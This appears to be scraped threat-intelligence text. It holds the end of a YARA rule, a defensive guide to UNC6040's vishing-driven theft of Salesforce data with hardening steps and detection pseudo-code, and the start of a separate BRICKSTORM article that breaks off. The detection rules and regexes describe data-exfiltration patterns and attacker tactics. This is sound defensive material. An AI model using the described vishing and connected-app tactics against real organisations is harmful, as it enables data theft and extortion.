".Cli" fullword $s3 = "httpReq" fullword $s4 = "AES/CBC/NoPadding" $s5 = "javax/servlet/FilterChain" $s6 = "java/lang/reflect/Method" condition: 4 of ($s*) and filesize < 1MB }

Written by: Omar ElAhdan, Matthew McWhirt, Michael Rudden, Aswad Robinson, Bhavesh Dhake, Laith Al

Background

Protecting software-as-a-service (SaaS) platforms and applications requires a comprehensive security strategy. Drawing from analysis of UNC6040’s specific attack methodologies, this guide presents a structured defensive framework encompassing proactive hardening measures, comprehensive logging protocols, and advanced detection capabilities. While emphasizing Salesforce-specific security recommendations, these strategies provide organizations with actionable approaches to safeguard their SaaS ecosystem against current threats.

Google Threat Intelligence Group (GTIG) is tracking UNC6040, a financially motivated threat cluster that specializes in voice phishing (vishing) campaigns specifically designed to compromise organizations' Salesforce instances for large-scale data theft and subsequent extortion. Over the past several months, UNC6040 has demonstrated repeated success in breaching networks by having its operators impersonate IT support personnel in convincing telephone-based social engineering engagements. This approach has proven particularly effective in tricking employees, often within English-speaking branches of multinational corporations, into actions that grant the attackers access or lead to the sharing of sensitive credentials, ultimately facilitating the theft of organization’s Salesforce data. In all observed cases, attackers relied on manipulating end users, not exploiting any vulnerability inherent to Salesforce.

A prevalent tactic in UNC6040's operations involves deceiving victims into authorizing a malicious connected app to their organization's Salesforce portal. This application is often a modified version of Salesforce’s Data Loader, not authorized by Salesforce. During a vishing call, the actor guides the victim to visit Salesforce's connected app setup page to approve a version of the Data Loader app with a name or branding that differs from the legitimate version. This step inadvertently grants UNC6040 significant capabilities to access, query, and exfiltrate sensitive information directly from the compromised Salesforce customer environments. This methodology of abusing Data Loader functionalities via malicious connected apps is consistent with recent observations detailed by Salesforce in their guidance on protecting Salesforce environments from such threats.

In some instances, extortion activities haven't been observed until several months after the initial UNC6040 intrusion activity, which could suggest that UNC6040 has partnered with a second threat actor that monetizes access to the stolen data. During these extortion attempts, the actor has claimed affiliation with the well-known hacking group ShinyHunters, likely as a method to increase pressure on their victims.

Figure 1: Data Loader attack flow

We have observed the following patterns in UNC6040 victimology:

• Motive: UNC6040 is a financially motivated threat cluster that accesses victim networks by vishing social engineering.

• Focus: Upon obtaining access, UNC6040 has been observed immediately exfiltrating data from the victim’s Salesforce environment using Salesforce’s Data Loader application. Following this initial data theft, UNC6040 was observed leveraging end-user credentials obtained through credential harvesting or vishing to move laterally through victim networks, accessing and exfiltrating data from the victim's accounts on other cloud platforms such as Okta and Microsoft 365.

• Attacker infrastructure: UNC6040 primarily used Mullvad VPN IP addresses to access and perform the data exfiltration on the victim’s Salesforce environments and other services of the victim's network.

Proactive Hardening Recommendations

The following section provides prioritized recommendations to protect against tactics utilized by UNC6040. This section is broken down to the following categories: 

1. Identity
   • Help Desk and End User Verification 
   • Identity Validation and Protections 
2. SaaS Applications
   • SaaS Application (e.g., Salesforce) Hardening Measures 
3. Logging and Detections

Note: While the following recommendations include strategies to protect SaaS applications, they also cover identity security controls and detections applicable at the Identity Provider (IdP) layer and security enhancements for existing processes, such as the help desk.

1. Identity Positive Identity Verification

To protect against increasingly sophisticated social engineering and credential compromise attacks, organizations must adopt a robust, multilayered process for identity verification. This process moves beyond outdated, easily compromised methods and establishes a higher standard of assurance for all support requests, especially those involving account modifications (e.g., password resets or multi-factor authentication modifications).

Guiding Principles

• Assume nothing: Do not inherently trust the caller's stated identity. Verification is mandatory for all security-related requests.
• Defense-in-depth: Rely on a combination of verification methods. No single factor should be sufficient for high-risk actions.
• Reject unsafe identifiers: Avoid relying on publicly available or easily discoverable data. Information such as:

  • Date of birth

  • Last four digits of a Social Security number

  • High school names

  • Supervisor names

This data should not be used as primary verification factors, as it's often compromised through data breaches or obtainable via open source intelligence (OSINT).

Standard Verification Procedures Live Video Identity Proofing (Primary Method)

This is the most reliable method for identifying callers. The help desk agent must:

1. Initiate a video call with the user

2. Require the user to present a valid corporate badge or government-issued photo ID (e.g., driver's license) on camera next to their face

3. Visually confirm that the person on the video call matches the photograph on the ID

4. Cross-reference the user's face with their photo in the internal corporate identity system

5. Verify that the name on the ID matches the name in the employee's corporate record
   
   Contingency for No Video: If a live video call is not possible, the user must provide a selfie showing their face, their photo ID, and a piece of paper with the current date and time written on it.
   
   Additionally, before proceeding with any request - help desk personnel must check the user's calendar for Out of Office (OOO) or vacation status. All requests from users who are marked as OOO should be presumptively denied until they have officially returned.

Out-of-Band (OOB) Verification (For High-Risk Requests)

For high-risk changes like multi-factor authentication (MFA) resets or password changes for privileged accounts, an additional OOB verification step is required after the initial ID proofing. This can include:

• Call-back: Placing a call to the user's registered phone number on file

• Manager approval: Sending a request for confirmation to the user's direct manager via a verified corporate communication channel

Special Handling for Third-Party Vendor Requests

Mandiant has observed incidents where attackers impersonate support personnel from third-party vendors to gain access. In these situations, the standard verification principals may not be applicable.

Under no circumstances should the Help Desk move forward with allowing access. The agent must halt the request and follow this procedure:

1. End the inbound call without providing any access or information

2. Independently contact the company's designated account manager for that vendor using trusted, on-file contact information

3. Require explicit verification from the account manager before proceeding with any request

Outreach to End Users 

Mandiant has observed the threat actor UNC6040 targeting end-users who have elevated access to SaaS applications. Posing as vendors or support personnel, UNC6040 contacts these users and provides a malicious link. Once the user clicks the link and authenticates, the attacker gains access to the application to exfiltrate data.

To mitigate this threat, organizations should rigorously communicate to all end-users the importance of verifying any third-party requests. Verification procedures should include:

• Hanging up and calling the official account manager using a phone number on file

• Requiring the requester to submit a ticket through the official company support portal

• Asking for a valid ticket number that can be confirmed in the support console

Organizations should also provide a clear and accessible process for end-users to report suspicious communications and ensure this reporting mechanism is included in all security awareness outreach.

Salesforce has additional guidance that can be referenced.

Identity Protections 

Since access to SaaS applications is typically managed by central identity providers (e.g., Entra ID, Okta), Mandiant recommends that organizations enforce unified identity security controls directly within these platforms. 

Guiding Principles

Mandiant’s approach focuses on the following core principles:

• Authentication boundary This principle establishes a foundational layer of trust based on network context. Access to sensitive resources should be confined within a defined boundary, primarily allowing connections from trusted corporate networks and VPNs to create a clear distinction between trusted and untrusted locations.

• Defense-in-depth This principle dictates that security cannot rely on a single control. Organizations should layer multiple security measures,such as strong authentication, device compliance checks, and session controls.

• Identity detection and response  Organizations must continuously integrate real-time threat intelligence into access decisions. This ensures that if an identity is compromised or exhibits risky behavior, its access is automatically contained or blocked until the threat has been remediated.

Identity Security Controls 

The following controls are essential for securing access to SaaS applications through a central identity provider.

Utilize Single Sign-On (SSO)

Ensure that all users accessing SaaS applications are accessing via a corporate-managed SSO provider (e.g., Microsoft Entra ID or Okta), rather than through platform-native accounts. A platform-native break glass account should be created and vaulted for use only in the case of an emergency.

In the event that SSO through a corporate-managed provider is not available, refer to the content specific to the applicable SaaS application (e.g., Salesforce) rather than Microsoft Entra ID or Okta.

Mandate Phishing-Resistant MFA

Phishing-resistant MFA must be enforced for all users accessing SaaS applications. This is a foundational requirement to defend against credential theft and account takeovers. Consider enforcing physical FIDO2 keys for accounts with privileged access. Ensure that no MFA bypasses exist in authentication policies tied to business critical applications.

For Microsoft Entra ID:

• General MFA Policy: Enforce MFA for all users with Conditional Access

• Passkey (FIDO2) Setup: Enable passkey and FIDO2 security keys

For Okta:

• Configure FIDO2 (WebAuthn): Set up the FIDO2 (WebAuthn) authenticator

• Enforce via Policy: Create an Authentication Policy to require strong authenticators

For Google Cloud Identity / Workspace:

• General MFA Policy: Deploy 2-Step Verification

• Security Key enforcement: Use a security key for 2-Step Verification

For Salesforce:

• MFA is required by default for local Salesforce accounts: Salesforce Multi-Factor Authentication FAQ

• Configure FIDO2 (WebAuthn): Register a Security Key as an Identity Verification Method for Salesforce Orgs

Enforce Device Trust and Compliance

Access to corporate applications must be limited to devices that are either domain-joined or verified as compliant with the organization's security standards. This policy ensures that a device meets a minimum security baseline before it can access sensitive data.

Key device posture checks should include:

• Valid host certificate: The device must present a valid, company-issued certificate
• Approved operating system: The endpoint must run an approved OS that meets current version and patch requirements
• Active EDR agent: The corporate Endpoint Detection and Response (EDR) solution must be installed, active, and reporting a healthy status

For Microsoft Entra ID:

• Device Compliance Policy: Require compliant devices for all users with Conditional Access

For Okta:

• Device Trust Overview: Configure Okta Device Trust for managed devices

For Google Cloud Identity / Workspace:

• Context-Aware Access: Overview of Context-Aware Access
• Endpoint Verification: Monitor and gather details about devices with Endpoint Verification

Automate Response to Identity Threats

Mandiant recommends that organizations implement dynamic authentication policies that respond to threats in real time. By integrating identity threat intelligence feeds—from both native platform services and third-party solutions—into the authentication process, organizations can automatically block or challenge access when an identity is compromised or exhibits risky behavior.

This approach primarily evaluates two categories of risk:

• Risky sign-ins: The probability that an authentication request is illegitimate due to factors like atypical travel, a malware-linked IP address, or password spray activity
• Risky users: The probability that a user's credential has been compromised or leaked online

Based on the detected risk level, Mandiant recommends that organizations apply a tiered approach to remediation.

Recommended Risk-Based Actions

• For high-risk events: Organizations should apply the most stringent security controls. This includes blocking access entirely.
• For medium-risk events: Access should be granted only after a significant step-up in verification. This typically means requiring proof of both the user's identity (via strong MFA) and the device's integrity (by verifying its compliance and security posture).
• For low-risk events: Organizations should still require a step-up authentication challenge, such as standard MFA, to ensure the legitimacy of the session and mitigate low-fidelity threats.

For Microsoft Entra ID:

• Overview
• Configuration

For Okta:

• Behavior detection
• Risk-based policies

For Google Cloud Identity / Workspace:

• Access context manager overview: Use Context-Aware Access to create granular, risk-based access policies

For Salesforce Shield: 

• Overview
• Event monitoring: Provides detailed logs of user actions—such as data access, record modifications, and login origins—and allows these logs to be exported for external analysis
• Transaction security policies: Monitors for specific user activities, such as large data downloads, and can be configured to automatically trigger alerts or block the action when it occurs

2. SaaS Applications  Salesforce Targeted Hardening Controls 

This section details specific security controls applicable for Salesforce instances. These controls are designed to protect against broad access, data exfiltration, and unauthorized access to sensitive data within Salesforce.

Network and Login Controls

Restrict logins to only originate from trusted network locations.

See Salesforce guidance on network access and profile-based IP restrictions. 

Restrict Login by IP Address

This control prevents credential misuse from unauthorized networks, effectively blocking access even if an attacker has stolen valid user credentials.

• Define login IP ranges at the profile level to only permit access from corporate and trusted network addresses.

• In Session Settings, enable “Enforce login IP ranges on every request” to ensure the check is not bypassed by an existing session.

See Salesforce guidance on setting trusted IP ranges.

Application and API Access Governance Govern Connected App and API Access

Threat actors often bypass interactive login controls by leveraging generic API clients and stolen OAuth tokens. This policy flips the model from "allow by default" to "deny by default," to ensure that only vetted applications can connect.

• Enable a "Deny by Default" API policy: Navigate to API Access Control and enable “For admin-approved users, limit API access to only allowed connected apps.” This blocks all unapproved clients.

• Maintain a minimal application allowlist: Explicitly approve only essential Connected Apps. Regularly review this allowlist to remove unused or unapproved applications.

• Enforce strict OAuth policies per app: For each approved app, configure granular security policies, including restricting access to trusted IP ranges, enforcing MFA, and setting appropriate session and refresh token timeouts.

• Revoke sessions when removing apps: When revoking an app's access, ensure all active OAuth tokens and sessions associated with it are also revoked to prevent lingering access.

• Organizational process and policy: Create policies governing application integrations with third parties. Perform Third-Party Risk Management reviews of all integrations with business-critical applications (e.g., Salesforce, Google Workspace, Workday).

See Salesforce guidance on managing API access.

User Privilege and Access Management Implement the Principle of Least Privilege

Users should only be granted the absolute minimum permissions required to perform their job functions.

• Use a "Minimum Access" profile as a baseline: Configure a base profile with minimal permissions and assign it to all new users by default. Limit the assignment of  "View All" and "Modify All" permissions. 

• Grant privileges via Permission Sets: Grant all additional access through well-defined Permission Sets based on job roles, rather than creating numerous custom profiles. 

• Disable API access for non-essential users: The "API Enabled" permission is required for tools like Data Loader. Remove this permission from all user profiles and grant it only via a controlled Permission Set to a small number of justified users.

• Hide the 'Setup' menu from non-admin users: For all non-administrator profiles, remove access to the administrative "Setup" menu to prevent unauthorized configuration changes.

• Enforce high-assurance sessions for sensitive actions: Configure session settings to require a high-assurance session for sensitive operations such as exporting reports.

See Salesforce guidance on modifying session security settings.

See Salesforce guidance on requiring high-assurance session security.

See Salesforce guidance on "View All" and "Modify All" permissions.  

Granular Data Access Policies Enforce "Private" Organization-Wide Sharing Defaults (OWD)

• Set the internal and external Organization-Wide Defaults (OWD) to "Private" for all sensitive objects.

• Use strategic Sharing Rules or other sharing mechanisms to grant wider data access, rather than relying on broad access via the Role Hierarchy.

Leverage Restriction Rules for Row-Level Security

Restriction Rules act as a filter that is applied on top of all other sharing settings, allowing for fine-grained control over which records a user can see.

See Salesforce guidance on restriction rules.

Revoke Salesforce Support Login Access

Ensure that any users with access to sensitive data or with privileged access to the underlying Salesforce instance are setting strict timeouts on any Salesforce support access grants.

Revoke any standing requests and only re-enable with strict time limits for specific use cases. Be wary of enabling these grants from administrative accounts.

See Salesforce guidance on granting Salesforce Support login access. 

Mandiant recommends running the Salesforce Security Health Check tool to identify and address misconfigurations. For additional hardening recommendations, reference the Salesforce Security Guide.

3. Logging and Detections Salesforce Targeted Logging and Detections Controls 

This section outlines key logging and detection strategies for Salesforce instances. These controls are essential for identifying and responding to advanced threats within the SaaS environment.

SaaS Applications Logging 

To gain visibility into the tactics, techniques, and procedures (TTPs) used by threat actors against SaaS Applications, Mandiant recommends enabling critical log types in the organization's Salesforce environment and ingesting the logs into their Security Information and Event Management (SIEM).

What You Need in Place Before Logging

Before you turn on collection or write detections, make sure your organization is actually entitled to the logs you are planning to use - and that the right features are enabled. 

1. Entitlement check (must-have) 

1. Most security logs/features are gated behind Event Monitoring via Salesforce Shield or the Event Monitoring Add-On. This applies to Real-Time Event Monitoring (RTEM) streaming and viewing.

2. Pick your data model per use case

1. RTEM - Streams (near real-time alerting): Available in Enterprise/Unlimited/Developer subscriptions; streaming events retained ~3 days.

2. RTEM - Storage: Many are Big Objects (native storage); some are standard objects (e.g. Threat Detection stores)

3. Event Log Files (ELF) - CSV model (batch exports): Available in Enterprise/Performance/Unlimited editions.

4. Event Log Objects (ELO) - SOQL model (queryable history): Shield/add-on required.

3. Turn on what you need (and scope access)

1. Use Event Manager to enable/disable streaming and storing per event; viewing RTEM events.

2. Grant access via profiles/permissions sets for RTEM and Threat Detection UI.

4. Threat Detection & ETS

1. Threat Detection events are viewed in UI with Shield/add-on; stored in corresponding EventStore objects.

2.  Enhanced Transaction Security (ETS) is included with RTEM for block/MFA/notify actions on real-time events.

Recommended Log Sources to Monitor

• Login History (LoginHistory): Tracks all login attempts, including username, time, IP address, status (successful/failed), and client type. This allows you to identify unusual login times, unknown locations, or repeated failures, which could indicate credential stuffing or account compromise.

• Login Events (LoginEventStream): LoginEvent tracks the login activity of users who log in to Salesforce.

• Setup Audit Trail (SetupAuditTrail): Records administrative and configuration changes within your Salesforce environment. This helps track changes made to permissions, security settings, and other critical configurations, facilitating auditing and compliance efforts.

• API Calls (ApiEventStream): Monitors API usage and potential misuse by tracking calls made by users or connected apps.

• Report Exports (ReportEventStream): Provides insights into report downloads, helping to detect potential data exfiltration attempts.

• List View Events (ListViewEventStream): Tracks user interaction with list views, including access and manipulation of data within those views.

• Bulk API Events (BulkApiResultEvent): Track when a user downloads the results of a Bulk API request.

• Permission Changes (PermissionSetEvent): Tracks changes to permission sets and permission set groups. This event initiates when a permission is added to, or removed from a permission set. 

• API Anomaly (ApiAnomalyEvent): Track anomalies in how users make API calls. 

• Unique Query Event Type: Unique Query events capture specific search queries (SOQL), filter IDs, and report IDs that are processed, along with the underlying database queries (SQL).

• External Identity Provider Event Logs: Track information from login attempts using SSO. (Please follow the guidance provided by your Identity Provider for monitoring and collecting IdP event logs.)

These log sources will provide organizations with the logging capabilities to properly collect and monitor the common TTPs used by threat actors. The key log sources to monitor and observable Salesforce activities for each TTP are as follows:

TTP

Observable Salesforce Activities

Log Sources

Vishing

• Suspicious login attempts (rapid failures).

• Logins from unusual IPs/ASNs (e.g., Mullvad/Tor). 

• OAuth (“Remote Access 2.0”) from unrecognized clients.

• Login History 

• LoginEventStream/LoginEvent

• Setup Audit Trail

Malicious Connected App Authorization (e.g., Data Loader, custom scripts)

• New Connected App creation/modification (broad scopes: api, refresh_token, offline_access). 

• Policy relaxations (Permitted Users, IP restrictions). 

• Granting of API Enabled / “Manage Connected Apps” via perms.

• Setup Audit Trail  

• PermissionSetEvent 

• LoginEventStream/LoginEvent (OAuth)

Data Exfiltration (via API, Data Loader, reports)

• High-rate Query/QueryMore/QueryAll bursts. 

• Large RowsProcessed/RecordCount in reports & list views (chunked).

• Bulk job result downloads. 

• File/attachment downloads at scale

• ApiEventStream/ApiEvent  

• ReportEventStream/ReportEvent  

• ListViewEventStream/ListViewEvent  

• BulkApiResultEvent  

• FileEvent/FileEventStore  

• ApiAnomalyEvent/ReportAnomalyEvent

• Unique Query Event Type

Lateral Movement/Persistence (within Salesforce or to other cloud platforms)

• Permissions elevated (e.g., View/Modify All Data, API Enabled).

• New user/service accounts. 

• LoginAs activity. 

• Logins from VPN/Tor after SF OAuth.  

• Pivots to Okta/M365, then Graph data pulls.

• Setup Audit Trail  

• PermissionSetEvent  

• LoginAsEventStream  

SaaS Applications Detections  

While native SIEM threat detections provide some protection, they often lack the centralized visibility needed to connect disparate events across a complex environment. By developing custom targeted detection rules, organizations can proactively detect malicious activities. 

Data Exfiltration & Cross-SaaS Lateral Movement (Post-Authorization) 

MITRE Mapping: TA0010 - Exfiltration & TA0008 - Lateral Movement

Scenario & Objectives

After an user authorizes a (malicious or spoofed) Connected App, UNC6040 typically:

1. Performs data exfiltration quickly (REST pagination bursts, Bulk API downloads, lards/sensitive report exports).

2. Pivots to Okta/Microsoft 365 from the same risky egress IP to expand access and steal more data. 

The objective here is to detect Salesforce OAuth → Exfil within ≤10 minutes, and Salesforce OAuth → Okta/M365 login within ≤60 minutes (same risky IP), plus single-signal, low-noise exfil patterns.

Baseline & Allowlist

Re-use the lists you already maintain for the vishing phase and add two regex helpers for content focus.

• STRING

• ALLOWLIST_CONNECTED_APP_NAMES 

• KNOWN_INTEGRATION_USERS (user ids/emails that legitimately use OAuth)

• VPN_TOR_ASNS (ASNs as strings)

• CIDR

• ENTERPRISE_EGRESS_CIDRS (your corporate/VPN public egress)

• REGEX

• SENSITIVE_REPORT_REGEX

(?i)\b(all|export|dump)\b.*\b(contact|lead|account|customer|pii|email|phone|ssn)\b

• • M365_SENSITIVE_GRAPH_REGEX

(?i)^https?://graph\.microsoft\.com/(beta|v1\.0)/(users|me)/messages (?i)^https?://graph\.microsoft\.com/(beta|v1\.0)/drives/.*/items/.*/content (?i)^https?://graph\.microsoft\.com/(beta|v1\.0)/reports/ (?i)^https?://graph\.microsoft\.com/(beta|v1\.0)/users(\?|$) High Fidelity Detection Catalog (Pseudo-Code) Salesforce OAuth → Data Exfil in ≤10 Minutes (Multi-Event)

Suspicious OAuth followed within 10m by Bulk result download, REST pagination burst, or sensitive/large report export by the same user.

Why high-fidelity: Matches UNC6040’s “approve → drain” pattern; tight window + volume thresholds.

Key signals:

• OAuth success (unknown app OR allowlisted+risky egress), bind on user.

• Then any of:

• BulkApiResultEvent with big RowsProcessed/RecordCount

• ApiEventStream many query/queryMore calls

• ReportEventStream large/sensitive report export

• Lists/knobs: ENTERPRISE_EGRESS_CIDRS, VPN_TOR_ASNS, SENSITIVE_REPORT_REGEX.

$oauth.metadata.product_name = "SALESFORCE" $oauth.metadata.log_type = "SALESFORCE" $oauth.extracted.fields["LoginType"] = "Remote Access 2.0" ($oauth.extracted.fields["Status"] = "Success" or $oauth.security_result.action_details = "Success") ( not ($app in %ALLOWLIST_CONNECTED_APP_NAMES) or ( ($app in %ALLOWLIST_CONNECTED_APP_NAMES) and ( not ($ip in cidr %ENTERPRISE_EGRESS_CIDRS) or strings.concat(ip_to_asn($ip), "") in %VPN_TOR_ASNS ) ) ) $uid = coalesce($oauth.principal.user.userid, $oauth.extracted.fields["UserId"]) $bulk.metadata.product_name = "SALESFORCE" $bulk.metadata.log_type = "SALESFORCE" $bulk.metadata.product_event_type = "BulkApiResultEvent" $uid = coalesce($bulk.principal.user.userid, $bulk.extracted.fields["UserId"]) match: $uid over 10m

Or

$oauth.metadata.product_name = "SALESFORCE" $oauth.metadata.log_type = "SALESFORCE" $oauth.extracted.fields["LoginType"] = "Remote Access 2.0" ($oauth.extracted.fields["Status"] = "Success" or $oauth.security_result.action_details = "Success") ( not ($app in %ALLOWLIST_CONNECTED_APP_NAMES) or ( ($app in %ALLOWLIST_CONNECTED_APP_NAMES) and ( not ($ip in cidr %ENTERPRISE_EGRESS_CIDRS) or strings.concat(ip_to_asn($ip), "") in %VPN_TOR_ASNS ) ) ) $uid = coalesce($oauth.principal.user.userid, $oauth.extracted.fields["UserId"]) $api.metadata.product_name = "SALESFORCE" $api.metadata.log_type = "SALESFORCE" $api.metadata.product_event_type = "ApiEventStream" $uid = coalesce($api.principal.user.userid, $api.extracted.fields["UserId"]) match: $uid over 10m

Or

$oauth.metadata.product_name = "SALESFORCE" $oauth.metadata.log_type = "SALESFORCE" $oauth.extracted.fields["LoginType"] = "Remote Access 2.0" ($oauth.extracted.fields["Status"] = "Success" or $oauth.security_result.action_details = "Success") ( not ($app in %ALLOWLIST_CONNECTED_APP_NAMES) or ( ($app in %ALLOWLIST_CONNECTED_APP_NAMES) and ( not ($ip in cidr %ENTERPRISE_EGRESS_CIDRS) or strings.concat(ip_to_asn($ip), "") in %VPN_TOR_ASNS ) ) ) $uid = coalesce($oauth.principal.user.userid, $oauth.extracted.fields["UserId"]) $report.metadata.product_name = "SALESFORCE" $report.metadata.log_type = "SALESFORCE" $report.metadata.product_event_type = "ReportEventStream" strings.to_lower(coalesce($report.extracted.fields["ReportName"], "")) in regex SENSITIVE_REPORT_REGEX $uid = coalesce($report.principal.user.userid, $report.extracted.fields["UserId"]) match: $uid over 10m

Note: Single event rule can also be used instead of multi-event rules in this case where only the Product Event Types like ApiEventStream, BulkApiResultEvent, ReportEventStream can be used as a single event rule to be monitored. But, care has to be taken if a single event rule is established as these can be very noisy, and thus the reference lists should be actively monitored.

Bulk API Large Result Download (Non-Integration User)

Bulk API/Bulk v2 result download above threshold by a human user.

Why high-fidelity: Clear exfil artifact.

Key signals: BulkApiResultEvent, user not in KNOWN_INTEGRATION_USERS.

Lists/knobs: KNOWN_INTEGRATION_USERS, size threshold.

$e.metadata.product_name = "SALESFORCE" $e.metadata.log_type = "SALESFORCE" $e.metadata.product_event_type = "BulkApiResultEvent" not (coalesce($e.principal.user.userid, $e.extracted.fields["UserId"]) in %KNOWN_INTEGRATION_USERS) REST Query Pagination Burst (query/queryMore)

High-rate query*/queryMore calls over a short window.

Why high-fidelity: Mimics scripted drains; steady human usage won’t hit burst thresholds.

Key signals: ApiEventStream, Operation in query, queryMore, query_all, queryall, count ≥ threshold in 10m, user not in KNOWN_INTEGRATION_USERS.

Lists/knobs: burst threshold, KNOWN_INTEGRATION_USERS.

$api.metadata.product_name = "SALESFORCE" $api.metadata.log_type = "SALESFORCE" $api.metadata.product_event_type = "ApiEventStream" not (coalesce($api.principal.user.userid, $api.extracted.fields["UserId"]) in %KNOWN_INTEGRATION_USERS) strings.to_lower(coalesce($api.extracted.fields["Operation"], "")) in regex `(?i)^(query|querymore|query_all|queryall)$` $uid = coalesce($api.principal.user.userid, $api.extracted.fields["UserId"]) Sensitive Report Export by Non-Integration User

Exports of large or sensitive-named reports by a human.

Why high-fidelity: Report extracts are a common, noisy-to-attackers but high-signal vector.

Key signals: ReportEventStream, high RowsProcessed or ReportName matches SENSITIVE_REPORT_REGEX, user not in KNOWN_INTEGRATION_USERS.

Lists/knobs: SENSITIVE_REPORT_REGEX, KNOWN_INTEGRATION_USERS.

$e.metadata.product_name = "SALESFORCE" $e.metadata.log_type = "SALESFORCE" $e.metadata.product_event_type = "ReportEventStream" not (coalesce($e.principal.user.userid, $e.extracted.fields["UserId"]) in %KNOWN_INTEGRATION_USERS) strings.to_lower(coalesce($e.extracted.fields["ReportName"], "")) in regex %SENSITIVE_REPORT_REGEX Salesforce OAuth → Okta/M365 Login From Same Risky IP in ≤60 Minutes (Multi-Event)

Suspicious Salesforce OAuth followed within 60m by Okta or Entra ID login from the same public IP, where the IP is off-corp or VPN/Tor ASN.

Why high-fidelity: Ties the attacker’s egress IP across SaaS within a tight window.

Key signals:

• Salesforce OAuth posture (unknown app OR allowlisted+risky egress)

• OKTA* or OFFICE_365 USER_LOGIN from the same IP

Lists/knobs: ENTERPRISE_EGRESS_CIDRS, VPN_TOR_ASNS. (Optional sibling rule binding by user email if identities are normalized.)

$oauth.metadata.product_name = "SALESFORCE" $oauth.metadata.log_type = "SALESFORCE" $oauth.extracted.fields["LoginType"] = "Remote Access 2.0" ($oauth.extracted.fields["Status"] = "Success" or $oauth.security_result.action_details = "Success") ( not ($app in %ALLOWLIST_CONNECTED_APP_NAMES) or ( ($app in %ALLOWLIST_CONNECTED_APP_NAMES) and ( not ($ip in cidr %ENTERPRISE_EGRESS_CIDRS) or strings.concat(ip_to_asn($ip), "") in %VPN_TOR_ASNS ) $ip = coalesce($oauth.principal.asset.ip, $oauth.principal.ip) $okta.metadata.log_type in "OKTA" $okta.metadata.event_type = "USER_LOGIN" $ip = coalesce($okta.principal.asset.ip, $okta.principal.ip) = $ip $o365.metadata.log_type = "OFFICE_365" $o365.metadata.event_type = "USER_LOGIN" $ip = coalesce($o365.principal.asset.ip, $o365.principal.ip) match: $ip over 10m M365 Graph Data-Pull After Risky Login

Entra ID login from risky egress followed by Microsoft Graph endpoints that pull mail/files/reports.

Why high-fidelity: Captures post-login data access typical in account takeovers.

Key signals: OFFICE_365 USER_LOGIN with off-corp IP or VPN/Tor ASN, then HTTP to URLs matching M365_SENSITIVE_GRAPH_REGEX by the same account within hours.

Lists/knobs: ENTERPRISE_EGRESS_CIDRS, VPN_TOR_ASNS, M365_SENSITIVE_GRAPH_REGEX.

$login.metadata.log_type = "OFFICE_365" $login.metadata.event_type = "USER_LOGIN" $ip = coalesce($login.principal.asset.ip, $login.principal.ip) ( not ($ip in cidr %ENTERPRISE_EGRESS_CIDRS) or strings.concat(ip_to_asn($ip), "") in %VPN_TOR_ASNS ) $acct = coalesce($login.principal.user.userid, $login.principal.user.email_addresses) $http.metadata.product_name in ("Entra ID","Microsoft") ($http.metadata.event_type = "NETWORK_HTTP" or $http.target.url != "") $acct = coalesce($http.principal.user.userid, $http.principal.user.email_addresses) strings.to_lower(coalesce($http.target.url, "")) in regex %M365_SENSITIVE_GRAPH_REGEX match: $acct over 30m Tuning & Exceptions

• Identity joins - The lateral rule groups by IP for robustness. If you have strong identity normalization (Salesforce <-> Okta <-> M365), clone it and match on user email instead of IP.

• Change windows - Suppress time-bound rules during approved data migrations/Connected App onboarding (temporarily add vendor app to ALLOWLIST_CONNECTED_APP_NAMES)

• Integration accounts - Keep KNOWN_INTEGRATION_USERS current; most noise in exfil rules comes from scheduled ETL.

• Egress hygiene - Keep ENTERPRISE_EGRESS_CIDRS current; stale NAT/VPN ranges inflate VPN/Tor findings.

• Streaming vs stored - The aforementioned rules assume Real-Time Event Monitoring Stream objects (e.g., ApiEventStream, ReportEventStream, ListViewEventStream, BulkApiResultEvent). For historical hunts, query the stored equivalents (e.g., ApiEvent, ReportEvent, ListViewEvent) with the same logic.

IOC-Based Detections Scenario & Objectives

A malicious threat actor has either successfully accessed or attempted to access an organization's network.

The objective is to detect the presence of known UNC6040 IOCs in the environment based on all of the available logs.

Reference Lists

Reference lists organizations should maintain:

• STRING

• UNC6040_IOC_LIST (IP addresses from threat intel sources eg. VirusTotal)

List of indicators of compromise (IOCs).

High Fidelity Detection Catalog (Pseudo-Code) UNC6040 IP_IoC Detected

A known IOC associated with UNC6040 was detected in the organization's environment either from a source or destination connection.

• High-fidelity when conditioned on source or destination IP address matches a known UNC6040 IOC.

($e.principal.ip in %unc6040_IoC_list) or ($e.target.ip in %unc6040_IoC_list) Acknowledgements

We would like to thank Salesforce for their collaboration and assistance in building this guide.

Written by: Sarah Yoder, John Wolfram, Ashley Pearson, Doug Bienstock, Josh Madeley, Josh Murchie, Brad Slaybaugh, Matt Lin, Geoff Carstairs, Austin Larsen

Introduction

Google Threat Intelligence Group (GTIG) is tracking BRICKSTORM malware activity, which is being used to maintain persistent access to victim organizations in the United States. Since March 2025, Mandiant Consulting has responded to intrusions across a range of industry verticals, most notably legal services, Software as a Service (SaaS) providers, Business Process Outsourcers (BPOs), and Technology. The value of these targets extends beyond typical espionage missions, potentially providing data to feed development of zero-days and establishing pivot points for broader access to downstream victims.

aside_block

<ListValue: [StructValue([('title', 'BRICKSTORM Scanner'), ('body', <wagtail.rich_text.RichText object at 0x7fd1c96fb430>), ('btn_text', 'Get the tool!'), ('href', 'https://github.com/mandiant/brickstorm-scanner'), ('image', None)])]>

We attribute this activity to UNC5221 and closely related, suspected China-nexus threat clusters that employ sophisticated capabilities, including the exploitation of zero-day vulnerabilities targeting network appliances. While UNC5221 has been used synonymously with the actor publicly reported as Silk Typhoon, GTIG does not currently consider the two clusters to be the same. 

These intrusions are conducted with a particular focus on maintaining long-term stealthy access by deploying backdoors on appliances that do not support traditional endpoint detection and response (EDR) tools. The actor employs methods for lateral movement and data theft that generate minimal to no security telemetry. This, coupled with modifications to the BRICKSTORM backdoor, has enabled them to remain undetected in victim environments for 393 days, on average. Mandiant strongly encourages organizations to reevaluate their threat model for appliances and conduct hunt exercises for this highly evasive actor. We are sharing an updated threat actor lifecycle for BRICKSTORM associated intrusions, along with specific and actionable steps organizations should take to hunt for and protect themselves from this activity.

Figure 1: BRICKSTORM targeting

Threat Actor Lifecycle

The actor behind BRICKSTORM employs sophisticated techniques to maintain persistence and minimize the visibility traditional security tools have into their activities. The section is a review of techniques observed from multiple Mandiant investigations, with customer details sanitized.

Initial Access

